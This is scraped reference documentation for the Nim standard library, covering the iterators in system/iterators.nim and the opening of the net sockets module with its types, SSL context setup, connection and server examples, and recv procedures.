[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L168) ``` iterator mpairs(a: var cstring): tuple[key: int, val: var char] {...}{.inline, raises: [], tags: [].} ``` Iterates over each item of `a`. Yields `(index, a[index])` pairs. `a[index]` can be modified. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L182) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L182) ``` iterator items[T](a: seq[T]): lent2 T {...}{.inline.} ``` Iterates over each item of `a`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L197) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L197) ``` iterator mitems[T](a: var seq[T]): var T {...}{.inline.} ``` Iterates over each item of `a` so that you can modify the yielded value. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L206) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L206) ``` iterator items(a: string): char {...}{.inline, raises: [], tags: [].} ``` Iterates over each item of `a`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L215) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L215) ``` iterator mitems(a: var string): var char {...}{.inline, raises: [], tags: [].} ``` Iterates over each item of `a` so that you can modify the yielded value. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L224) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L224) ``` iterator fields[T: tuple | object](x: T): RootObj {...}{.magic: "Fields", noSideEffect.} ``` Iterates over every field of `x`. **Warning**: This really transforms the 'for' and unrolls the loop. The current implementation also has a bug that affects symbol binding in the loop body. **Example:** ``` var t = (1, "foo") for v in fields(t): v = default(type(v)) doAssert t == (0, "") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L234) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L234) ``` iterator fields[S: tuple | object; T: tuple | object](x: S; y: T): tuple[ key: string, val: RootObj] {...}{.magic: "Fields", noSideEffect.} ``` Iterates over every field of `x` and `y`. **Warning**: This really transforms the 'for' and unrolls the loop. The current implementation also has a bug that affects symbol binding in the loop body. **Example:** ``` var t1 = (1, "foo") var t2 = default(type(t1)) for v1, v2 in fields(t1, t2): v2 = v1 doAssert t1 == t2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L246) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L246) ``` iterator fieldPairs[T: tuple | object](x: T): tuple[key: string, val: RootObj] {...}{. magic: "FieldPairs", noSideEffect.} ``` Iterates over every field of `x` returning their name and value. When you iterate over objects with different field types you have to use the compile time `when` instead of a runtime `if` to select the code you want to run for each type. To perform the comparison use the [is operator](manual#generics-is-operator). Another way to do the same without `when` is to leave the task of picking the appropriate code to a secondary proc which you overload for each field type and pass the `value` to. **Warning**: This really transforms the 'for' and unrolls the loop. The current implementation also has a bug that affects symbol binding in the loop body. **Example:** ``` type Custom = object foo: string bar: bool proc `$`(x: Custom): string = result = "Custom:" for name, value in x.fieldPairs: when value is bool: result.add("\n\t" & name & " is " & $value) else: result.add("\n\t" & name & " '" & value & "'") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L259) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L259) ``` iterator fieldPairs[S: tuple | object; T: tuple | object](x: S; y: T): tuple[ key: string, a, b: RootObj] {...}{.magic: "FieldPairs", noSideEffect.} ``` Iterates over every field of `x` and `y`. **Warning**: This really transforms the 'for' and unrolls the loop. The current implementation also has a bug that affects symbol binding in the loop body. **Example:** ``` type Foo = object x1: int x2: string var a1 = Foo(x1: 12, x2: "abc") var a2: Foo for name, v1, v2 in fieldPairs(a1, a2): when name == "x2": v2 = v1 doAssert a2 == Foo(x1: 0, x2: "abc") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/iterators.nim#L287) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/iterators.nim#L287)
programming_docs
nim net net === This module implements a high-level cross-platform sockets interface. The procedures implemented in this module are primarily for blocking sockets. For asynchronous non-blocking sockets use the `asyncnet` module together with the `asyncdispatch` module. The first thing you will always need to do in order to start using sockets, is to create a new instance of the `Socket` type using the `newSocket` procedure. SSL --- In order to use the SSL procedures defined in this module, you will need to compile your application with the `-d:ssl` flag. See the [newContext](net#newContext%2Cstring%2Cstring%2Cstring%2Cstring%2Cstring) procedure for additional details. SSL on Windows -------------- On Windows the SSL library checks for valid certificates. It uses the `cacert.pem` file for this purpose which was extracted from `https://curl.se/ca/cacert.pem`. Besides the OpenSSL DLLs (e.g. libssl-1\_1-x64.dll, libcrypto-1\_1-x64.dll) you also need to ship `cacert.pem` with your `.exe` file. Examples -------- ### Connecting to a server After you create a socket with the `newSocket` procedure, you can easily connect it to a server running at a known hostname (or IP address) and port. To do so over TCP, use the example below. ``` var socket = newSocket() socket.connect("google.com", Port(80)) ``` For SSL, use the following example (and make sure to compile with `-d:ssl`): ``` var socket = newSocket() var ctx = newContext() wrapSocket(ctx, socket) socket.connect("google.com", Port(443)) ``` UDP is a connectionless protocol, so UDP sockets don't have to explicitly call the [connect](net#connect%2CSocket%2Cstring) procedure. They can simply start sending data immediately. ``` var socket = newSocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) socket.sendTo("192.168.0.1", Port(27960), "status\n") ``` ### Creating a server After you create a socket with the `newSocket` procedure, you can create a TCP server by calling the `bindAddr` and `listen` procedures. ``` var socket = newSocket() socket.bindAddr(Port(1234)) socket.listen() ``` You can then begin accepting connections using the `accept` procedure. ``` var client: Socket var address = "" while true: socket.acceptAddr(client, address) echo("Client connected from: ", address) ``` Imports ------- <since>, <nativesockets>, <os>, <strutils>, <times>, <sets>, <options>, <monotimes>, <ssl_certs>, <ssl_config>, <winlean>, <openssl>, <posix>, <posix> Types ----- ``` Certificate = string ``` DER encoded certificate [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L109) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L109) ``` SslError = object of CatchableError ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L111) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L111) ``` SslCVerifyMode = enum CVerifyNone, CVerifyPeer, CVerifyPeerUseEnvVars ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L113) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L113) ``` SslProtVersion = enum protSSLv2, protSSLv3, protTLSv1, protSSLv23 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L116) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L116) ``` SslContext = ref object context*: SslCtx referencedData: HashSet[int] extraInternal: SslContextExtraInternal ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L119) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L119) ``` SslAcceptResult = enum AcceptNoClient = 0, AcceptNoHandshake, AcceptSuccess ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L124) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L124) ``` SslHandshakeType = enum handshakeAsClient, handshakeAsServer ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L127) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L127) ``` SslClientGetPskFunc = proc (hint: string): tuple[identity: string, psk: string] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L130) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L130) ``` SslServerGetPskFunc = proc (identity: string): string ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L132) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L132) ``` SocketImpl = object fd: SocketHandle isBuffered: bool buffer: array[0 .. BufferSize, char] currPos: int bufLen: int when defineSsl: isSsl: bool sslHandle: SslPtr sslContext: SslContext sslNoHandshake: bool sslHasPeekChar: bool sslPeekChar: char sslNoShutdown: bool lastError: OSErrorCode ## stores the last error on this socket domain: Domain sockType: SockType protocol: Protocol ``` socket type [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L147) ``` Socket = ref SocketImpl ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L166) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L166) ``` SOBool = enum OptAcceptConn, OptBroadcast, OptDebug, OptDontRoute, OptKeepAlive, OptOOBInline, OptReuseAddr, OptReusePort, OptNoDelay ``` Boolean socket options. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L168) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L168) ``` ReadLineResult = enum ReadFullLine, ReadPartialLine, ReadDisconnected, ReadNone ``` result for readLineAsync [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L172) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L172) ``` TimeoutError = object of CatchableError ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L175) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L175) ``` SocketFlag {...}{.pure.} = enum Peek, SafeDisconn ## Ensures disconnection exceptions (ECONNRESET, EPIPE etc) are not thrown. ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L177) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L177) ``` IpAddressFamily {...}{.pure.} = enum IPv6, ## IPv6 address IPv4 ## IPv4 address ``` Describes the type of an IP address [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L185) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L185) ``` IpAddress = object case family*: IpAddressFamily ## the type of the IP address (IPv4 or IPv6) of IpAddressFamily.IPv6: address_v6*: array[0 .. 15, uint8] ## Contains the IP address in bytes in ## case of IPv6 of IpAddressFamily.IPv4: address_v4*: array[0 .. 3, uint8] ## Contains the IP address in bytes in ## case of IPv4 ``` stores an arbitrary IP address [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L189) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L189) Consts ------ ``` BufferSize: int = 4000 ``` size of a buffered socket's buffer [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L143) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L143) ``` MaxLineLength = 1000000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L144) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L144) Procs ----- ``` proc isDisconnectionError(flags: set[SocketFlag]; lastError: OSErrorCode): bool {...}{. raises: [], tags: [].} ``` Determines whether `lastError` is a disconnection error. Only does this if flags contains `SafeDisconn`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L204) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L204) ``` proc toOSFlags(socketFlags: set[SocketFlag]): cint {...}{.raises: [], tags: [].} ``` Converts the flags into the underlying OS representation. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L222) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L222) ``` proc newSocket(fd: SocketHandle; domain: Domain = AF_INET; sockType: SockType = SOCK_STREAM; protocol: Protocol = IPPROTO_TCP; buffered = true): owned(Socket) {...}{. raises: [], tags: [].} ``` Creates a new socket as specified by the params. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L230) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L230) ``` proc newSocket(domain, sockType, protocol: cint; buffered = true; inheritable = defined(nimInheritHandles)): owned(Socket) {...}{. raises: [OSError], tags: [].} ``` Creates a new socket. The SocketHandle associated with the resulting Socket will not be inheritable by child processes by default. This can be changed via the `inheritable` parameter. If an error occurs OSError will be raised. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L248) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L248) ``` proc newSocket(domain: Domain = AF_INET; sockType: SockType = SOCK_STREAM; protocol: Protocol = IPPROTO_TCP; buffered = true; inheritable = defined(nimInheritHandles)): owned(Socket) {...}{. raises: [OSError], tags: [].} ``` Creates a new socket. The SocketHandle associated with the resulting Socket will not be inheritable by child processes by default. This can be changed via the `inheritable` parameter. If an error occurs OSError will be raised. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L263) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L263) ``` proc parseIpAddress(addressStr: string): IpAddress {...}{.raises: [ValueError], tags: [].} ``` Parses an IP address Raises ValueError on error [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L433) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L433) ``` proc isIpAddress(addressStr: string): bool {...}{.tags: [], raises: [].} ``` Checks if a string is an IP address Returns true if it is, false otherwise [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L443) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L443) ``` proc toSockAddr(address: IpAddress; port: Port; sa: var Sockaddr_storage; sl: var SockLen) {...}{.raises: [], tags: [].} ``` Converts `IpAddress` and `Port` to `SockAddr` and `SockLen` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L452) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L452) ``` proc fromSockAddr(sa: Sockaddr_storage | SockAddr | Sockaddr_in | Sockaddr_in6; sl: SockLen; address: var IpAddress; port: var Port) {...}{.inline.} ``` Converts `SockAddr` and `SockLen` to `IpAddress` and `Port`. Raises `ObjectConversionDefect` in case of invalid `sa` and `sl` arguments. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L490) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L490) ``` proc raiseSSLError(s = "") {...}{.raises: [SslError], tags: [].} ``` Raises a new SSL error. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L503) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L503) ``` proc getExtraData(ctx: SslContext; index: int): RootRef {...}{.raises: [SslError], tags: [].} ``` Retrieves arbitrary data stored inside SslContext. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L519) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L519) ``` proc setExtraData(ctx: SslContext; index: int; data: RootRef) {...}{. raises: [SslError], tags: [].} ``` Stores arbitrary data inside SslContext. The unique `index` should be retrieved using getSslContextExtraDataIndex. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L528) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L528) ``` proc newContext(protVersion = protSSLv23; verifyMode = CVerifyPeer; certFile = ""; keyFile = ""; cipherList = CiphersIntermediate; caDir = ""; caFile = ""): SslContext {...}{. raises: [Exception, LibraryError, SslError, IOError], tags: [RootEffect, ReadDirEffect, ReadEnvEffect].} ``` Creates an SSL context. Protocol version specifies the protocol to use. SSLv2, SSLv3, TLSv1 are available with the addition of `protSSLv23` which allows for compatibility with all of them. There are three options for verify mode: `CVerifyNone`: certificates are not verified; `CVerifyPeer`: certificates are verified; `CVerifyPeerUseEnvVars`: certificates are verified and the optional environment variables SSL\_CERT\_FILE and SSL\_CERT\_DIR are also used to locate certificates The `nimDisableCertificateValidation` define overrides verifyMode and disables certificate verification globally! CA certificates will be loaded, in the following order, from: > > * caFile, caDir, parameters, if set > * if `verifyMode` is set to `CVerifyPeerUseEnvVars`, the SSL\_CERT\_FILE and SSL\_CERT\_DIR environment variables are used > * a set of files and directories from the <ssl_certs> file. > > The last two parameters specify the certificate file path and the key file path, a server socket will most likely not work without these. Certificates can be generated using the following command: * `openssl req -x509 -nodes -days 365 -newkey rsa:4096 -keyout mykey.pem -out mycert.pem` or using ECDSA: * `openssl ecparam -out mykey.pem -name secp256k1 -genkey` * `openssl req -new -key mykey.pem -x509 -nodes -days 365 -out mycert.pem` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L563) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L563) ``` proc destroyContext(ctx: SslContext) {...}{.raises: [SslError], tags: [].} ``` Free memory referenced by SslContext. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L666) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L666) ``` proc pskIdentityHint=(ctx: SslContext; hint: string) {...}{.raises: [SslError], tags: [].} ``` Sets the identity hint passed to server. Only used in PSK ciphersuites. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L676) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L676) ``` proc clientGetPskFunc(ctx: SslContext): SslClientGetPskFunc {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L683) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L683) ``` proc clientGetPskFunc=(ctx: SslContext; fun: SslClientGetPskFunc) {...}{. raises: [Exception], tags: [RootEffect].} ``` Sets function that returns the client identity and the PSK based on identity hint from the server. Only used in PSK ciphersuites. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L701) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L701) ``` proc serverGetPskFunc(ctx: SslContext): SslServerGetPskFunc {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L710) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L710) ``` proc serverGetPskFunc=(ctx: SslContext; fun: SslServerGetPskFunc) {...}{. raises: [Exception], tags: [RootEffect].} ``` Sets function that returns PSK based on the client identity. Only used in PSK ciphersuites. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L723) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L723) ``` proc getPskIdentity(socket: Socket): string {...}{.raises: [], tags: [].} ``` Gets the PSK identity provided by the client. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L731) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L731) ``` proc wrapSocket(ctx: SslContext; socket: Socket) {...}{.raises: [SslError], tags: [].} ``` Wraps a socket in an SSL context. This function effectively turns `socket` into an SSL socket. This must be called on an unconnected socket; an SSL session will be started when the socket is connected. FIXME: **Disclaimer**: This code is not well tested, may be very unsafe and prone to security vulnerabilities. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L736) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L736) ``` proc wrapConnectedSocket(ctx: SslContext; socket: Socket; handshake: SslHandshakeType; hostname: string = "") {...}{. raises: [SslError, Exception], tags: [RootEffect].} ``` Wraps a connected socket in an SSL context. This function effectively turns `socket` into an SSL socket. `hostname` should be specified so that the client knows which hostname the server certificate should be validated against. This should be called on a connected socket, and will perform an SSL handshake immediately. FIXME: **Disclaimer**: This code is not well tested, may be very unsafe and prone to security vulnerabilities. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L779) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L779) ``` proc getPeerCertificates(sslHandle: SslPtr): seq[Certificate] {...}{. raises: [Exception], tags: [].} ``` Returns the certificate chain received by the peer we are connected to through the OpenSSL connection represented by `sslHandle`. The handshake must have been completed and the certificate chain must have been verified successfully or else an empty sequence is returned. The chain is ordered from leaf certificate to root certificate. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L811) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L811) ``` proc getPeerCertificates(socket: Socket): seq[Certificate] {...}{. raises: [Exception], tags: [].} ``` Returns the certificate chain received by the peer we are connected to through the given socket. The handshake must have been completed and the certificate chain must have been verified successfully or else an empty sequence is returned. The chain is ordered from leaf certificate to root certificate. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L830) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L830) ``` proc sessionIdContext=(ctx: SslContext; sidCtx: string) {...}{.raises: [SslError], tags: [].} ``` Sets the session id context in which a session can be reused. Used for permitting clients to reuse a session id instead of doing a new handshake. TLS clients might attempt to resume a session using the session id context, thus it must be set if verifyMode is set to CVerifyPeer or CVerifyPeerUseEnvVars, otherwise the connection will fail and SslError will be raised if resumption occurs. * Only useful if set server-side. * Should be unique per-application to prevent clients from malfunctioning. * sidCtx must be at most 32 characters in length. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L841) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L841) ``` proc getSocketError(socket: Socket): OSErrorCode {...}{.raises: [OSError], tags: [].} ``` Checks `osLastError` for a valid error. If it has been reset it uses the last error stored in the socket object. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L857) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L857) ``` proc socketError(socket: Socket; err: int = -1; async = false; lastError = -1.OSErrorCode; flags: set[SocketFlag] = {}): void {...}{. gcsafe, raises: [SslError, OSError], tags: [].} ``` Raises an OSError based on the error code returned by `SSL_get_error` (for SSL sockets) and `osLastError` otherwise. If `async` is `true` no error will be thrown in the case when the error was caused by no data being available to be read. If `err` is not lower than 0 no exception will be raised. If `flags` contains `SafeDisconn`, no exception will be raised when the error was caused by a peer disconnection. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L866) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L866) ``` proc listen(socket: Socket; backlog = SOMAXCONN) {...}{.tags: [ReadIOEffect], raises: [OSError].} ``` Marks `socket` as accepting connections. `Backlog` specifies the maximum length of the queue of pending connections. Raises an OSError error upon failure. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L931) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L931) ``` proc bindAddr(socket: Socket; port = Port(0); address = "") {...}{. tags: [ReadIOEffect], raises: [ValueError, OSError].} ``` Binds `address`:`port` to the socket. If `address` is "" then ADDR\_ANY will be bound. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L940) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L940) ``` proc acceptAddr(server: Socket; client: var owned(Socket); address: var string; flags = {SafeDisconn}; inheritable = defined(nimInheritHandles)) {...}{. tags: [ReadIOEffect], gcsafe, locks: 0, raises: [OSError, IOError, SslError].} ``` Blocks until a connection is being made from a client. When a connection is made sets `client` to the client socket and `address` to the address of the connecting client. This function will raise OSError if an error occurs. The resulting client will inherit any properties of the server socket. For example: whether the socket is buffered or not. The SocketHandle associated with the resulting client will not be inheritable by child processes by default. This can be changed via the `inheritable` parameter. The `accept` call may result in an error if the connecting socket disconnects during the duration of the `accept`. If the `SafeDisconn` flag is specified then this error will not be raised and instead accept will be called again. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L960) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L960) ``` proc accept(server: Socket; client: var owned(Socket); flags = {SafeDisconn}; inheritable = defined(nimInheritHandles)) {...}{.tags: [ReadIOEffect], raises: [OSError, IOError, SslError].} ``` Equivalent to `acceptAddr` but doesn't return the address, only the socket. The SocketHandle associated with the resulting client will not be inheritable by child processes by default. This can be changed via the `inheritable` parameter. The `accept` call may result in an error if the connecting socket disconnects during the duration of the `accept`. If the `SafeDisconn` flag is specified then this error will not be raised and instead accept will be called again. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1059) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1059) ``` proc close(socket: Socket; flags = {SafeDisconn}) {...}{. raises: [Exception, LibraryError, OSError, SslError, OSError], tags: [RootEffect].} ``` Closes a socket. If `socket` is an SSL/TLS socket, this proc will also send a closure notification to the peer. If `SafeDisconn` is in `flags`, failure to do so due to disconnections will be ignored. This is generally safe in practice. See [here](https://security.stackexchange.com/a/82044) for more details. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1135) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1135) ``` proc toCInt(opt: SOBool): cint {...}{.raises: [], tags: [].} ``` Converts a `SOBool` into its Socket Option cint representation. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1196) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1196) ``` proc getSockOpt(socket: Socket; opt: SOBool; level = SOL_SOCKET): bool {...}{. tags: [ReadIOEffect], raises: [OSError].} ``` Retrieves option `opt` as a boolean value. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1209) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1209) ``` proc getLocalAddr(socket: Socket): (string, Port) {...}{. raises: [OSError, Exception], tags: [].} ``` Get the socket's local address and port number. This is high-level interface for getsockname. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1215) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1215) ``` proc getPeerAddr(socket: Socket): (string, Port) {...}{.raises: [OSError, Exception], tags: [].} ``` Get the socket's peer address and port number. This is high-level interface for getpeername. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1221) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1221) ``` proc setSockOpt(socket: Socket; opt: SOBool; value: bool; level = SOL_SOCKET) {...}{. tags: [WriteIOEffect], raises: [OSError].} ``` Sets option `opt` to a boolean value specified by `value`. ``` var socket = newSocket() socket.setSockOpt(OptReusePort, true) socket.setSockOpt(OptNoDelay, true, level=IPPROTO_TCP.toInt) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1227) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1227) ``` proc connectUnix(socket: Socket; path: string) {...}{.raises: [], tags: [].} ``` Connects to Unix socket on `path`. This only works on Unix-style systems: Mac OS X, BSD and Linux [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1240) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1240) ``` proc bindUnix(socket: Socket; path: string) {...}{.raises: [], tags: [].} ``` Binds Unix socket to `path`. This only works on Unix-style systems: Mac OS X, BSD and Linux [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1249) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1249) ``` proc hasDataBuffered(s: Socket): bool {...}{.raises: [], tags: [].} ``` Determines whether a socket has data buffered. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1269) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1269) ``` proc recv(socket: Socket; data: pointer; size: int): int {...}{.tags: [ReadIOEffect], raises: [].} ``` Receives data from a socket. **Note**: This is a low-level function, you may be interested in the higher level versions of this function which are also named `recv`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1326) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1326) ``` proc recv(socket: Socket; data: pointer; size: int; timeout: int): int {...}{. tags: [ReadIOEffect, TimeEffect], raises: [TimeoutError, OSError].} ``` overload with a `timeout` parameter in milliseconds. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/net.nim#L1406) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/net.nim#L1406) ``` proc recv(socket: Socket; data: var string; size: int; timeout = -1; flags = {SafeDisconn}): int {...}{.raises: [TimeoutError, OSError, SslError], tags: [ReadIOEffect, TimeEffect].} ``` Higher-level version of `recv`. Reads **up to** `size` bytes from `socket` into `buf`. For buffered sockets this function will attempt to read all the requested data. It will read this data in `BufferSize` chunks. For unbuffered sockets this function makes no effort to read all the data requested. It will return as much data as the operating system gives it. When 0 is returned the socket's connection has been closed. This function will throw an OSError exception when an error occurs. A value lower than 0 is never returned. A timeout may be specified in milliseconds, if enough data is not received within the time specified a TimeoutError exception will be raised. **Note**: `data` must be initialised. **Warning**: Only the `SafeDisconn` flag is currently supported. 